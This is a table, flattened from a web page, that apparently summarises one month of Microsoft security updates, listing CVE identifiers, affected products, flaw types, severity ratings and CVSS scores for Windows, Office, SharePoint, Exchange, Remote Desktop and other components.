Info\n \n \n  <span>CVE-2026-44815</span>\n  DHCP Client Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47291</span>\n  HTTP.sys Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-42824</span>\n  M365 Copilot\n  Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-45476</span>\n  Microsoft Azure\n  Network Adapter Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44810</span>\n  Microsoft\n  Cryptographic Services Elevation of Privilege Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48579</span>\n  Microsoft Exchange\n  Online Information Disclosure Vulnerability\n  Critical\n  9.1\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-47655</span>\n  Microsoft Graph\n  Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-45497</span>\n  Microsoft M365 Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  7.7\n  No\n  No\n  N/A\n  RCE\n \n \n  <span>CVE-2026-45460</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Critical\n  4.7\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45472</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45474</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45461</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45463</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45456</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45458</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47635</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-26142</span>\n  Nuance PowerScribe\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47289</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47654</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-48563</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42992</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44799</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44801</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42985</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-45648</span>\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42987</span>\n  Windows Deployment\n  Services (WDS) Remote Code Execution\n  Critical\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-33828</span>\n  Windows Device Health\n  Attestation (DHA) Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-44803</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-44812</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-45607</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45641</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47652</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.2\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47288</span>\n  Windows Kerberos Key\n  Distribution Center (KDC) Remote Code Execution\n  Critical\n  7.1\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-45657</span>\n  Windows Kernel Remote\n  Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-48574</span>\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45490</span>\n  .NET SDK Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45491</span>\n  .NET Tampering\n  Vulnerability\n  Important\n  6.2\n  No\n  No\n  3\n  Tampering\n \n \n  <span>CVE-2026-45591</span>\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-47643</span>\n  Azure Stack Edge\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-41098</span>\n  Azure Stack Edge\n  Spoofing Vulnerability\n  Important\n  8.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45642</span>\n  Microsoft Azure\n  Attestation service and Device Health Attestation Service Spoofing\n  Vulnerability\n  Important\n  3.9\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45650</span>\n  Microsoft Bing Search\n  Spoofing Vulnerability\n  Important\n  4.3\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45637</span>\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45647</span>\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-40371</span>\n  Microsoft Dynamics 365\n  (on-premises) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44822</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45455</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45469</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44817</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-44818</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44820</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44823</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45459</span>\n  Microsoft Excel\n  Security Feature Bypass Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45504</span>\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45502</span>\n  Microsoft Exchange\n  Server Information Disclosure Vulnerability\n  Important\n  5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45503</span>\n  Microsoft Exchange\n  Server Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45583</span>\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45500</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  6.1\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45501</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47631</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-42986</span>\n  Microsoft Graphics\n  Component Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-41092</span>\n  Microsoft Kinect\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45644</span>\n  Microsoft Live Share\n  Canvas SDK Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47293</span>\n  Microsoft Office\n  Click-To-Run Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45485</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44821</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45483</span>\n  Microsoft Office\n  Project Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45475</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44819</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44824</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45645</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-49161</span>\n  Microsoft PC Manager\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  SFB\n \n \n  <span>CVE-2026-42902</span>\n  Microsoft PowerToys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45484</span>\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45454</span>\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47298</span>\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45467</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45468</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45479</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45453</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47636</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47637</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47638</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47639</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-47641</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-33113</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45462</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45464</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45465</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47634</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-47640</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-45481</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-48560</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-48562</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-42835</span>\n  Microsoft Teams for\n  Android Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45606</span>\n  Microsoft UxTheme\n  Library (uxtheme.dll) Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-45482</span>\n  Microsoft Visual\n  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability\n  Important\n  8.4\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45466</span>\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45471</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45486</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45643</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45457</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42980</span>\n  NT OS Kernel Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-42916</span>\n  NT OS Kernel Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45649</span>\n  Office for Android\n  Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-47653</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42909</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42913</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42993</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45588</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48568</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48570</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48573</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48575</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48576</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48578</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45654</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45656</span>\n  UEFI Secure Boot\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-8863</span>\n  UEFI Secure Boot\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-40376</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47281</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  9.6\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-47284</span>\n  Visual Studio Code\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-47292</span>\n  Visual Studio Code\n  MSSQL Extension Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-48569</span>\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-47287</span>\n  Visual Studio Code\n  Tampering Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Tampering\n \n \n  <span>CVE-2026-42829</span>\n  Windows Administrator\n  Protection Secure Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  \n \n \n  <span>CVE-2026-34335</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45601</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45598</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45596</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45638</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45603</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42911</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45594</span>\n  Windows Application\n  Identity (AppID) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45655</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  5.3\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45658</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  SFB\n \n \n  <span>CVE-2026-45640</span>\n  Windows Bluetooth Port\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45605</span>\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47656</span>\n  Windows Boot Manager\n  Security Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-44809</span>\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45634</span>\n  Windows DHCP Client\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45608</span>\n  Windows DHCP Client\n  Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-41108</span>\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42905</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-44811</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44808</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44807</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42983</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44802</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44813</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44804</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48566</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44814</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45602</span>\n  Windows Dynamic Host\n  Configuration Protocol (DHCP) Tampering Vulnerability\n  Important\n  9.1\n  No\n  No\n  2\n  Tampering\n \n \n  <span>CVE-2026-42836</span>\n  Windows Function\n  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42910</span>\n  Windows Hotpatch\n  Monitoring Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42972</span>\n  Windows Hyper-V\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45592</span>\n  Windows Internet\n  (wininet.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42903</span>\n  Windows Kerberos\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  3\n  DoS\n \n \n  <span>CVE-2026-42914</span>\n  Windows Kerberos\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-48583</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45653</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42984</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45600</span>\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45604</span>\n  Windows Managed\n  Installer Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45595</span>\n  Windows Mark of the\n  Web Security Feature Bypass Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45636</span>\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-50508</span>\n  Windows NTLM Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-48565</span>\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44805</span>\n  Windows Network\n  Controller (NC) Host Agent Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  DoS\n \n \n  <span>CVE-2026-42981</span>\n  Windows Performance\n  Monitor Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42974</span>\n  Windows Performance\n  Monitor Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45487</span>\n  Windows Program\n  Compatibility Assistant Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42828</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42837</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42969</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-42971</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42970</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42973</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42978</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42977</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42979</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42991</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45639</span>\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  Info\n \n \n  